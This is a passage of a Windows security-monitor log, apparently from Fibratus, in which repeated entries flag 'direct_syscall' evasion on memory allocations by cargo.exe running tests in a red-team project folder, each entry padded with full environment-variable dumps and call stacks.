Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff681ca2d47 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff680805856 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff680803b75 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807e920c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807be1f6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807d6fdc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff681c50f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff68087b78c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681ca2f7c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:00+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 904965 + Pid: 6516 + Tid: 10420 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.1454556 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ dc92ef1000, exeâžœ C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 6516, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 6516 + Ppid: 15532 + Name: cargo.exe + Parent name: cargo.exe + Cmdline: "C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test + Parent cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Exe: C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CARGO_HOME:C:\Users\nedo\.cargo COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LD_LIBRARY_PATH:C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin;C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files RUSTUP_HOME:C:\Users\nedo\.rustup RUSTUP_TOOLCHAIN:stable-x86_64-pc-windows-msvc RUST_RECURSION_COUNT:1 SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff681ca2d47 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff680805856 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff680803b75 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807e920c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807be1f6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807d6fdc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff681c50f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff68087b78c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681ca2f7c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:00+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 904967 + Pid: 6516 + Tid: 10420 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.1454685 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ dc92ef0000, exeâžœ C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 6516, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 6516 + Ppid: 15532 + Name: cargo.exe + Parent name: cargo.exe + Cmdline: "C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test + Parent cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Exe: C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CARGO_HOME:C:\Users\nedo\.cargo COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LD_LIBRARY_PATH:C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin;C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files RUSTUP_HOME:C:\Users\nedo\.rustup RUSTUP_TOOLCHAIN:stable-x86_64-pc-windows-msvc RUST_RECURSION_COUNT:1 SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 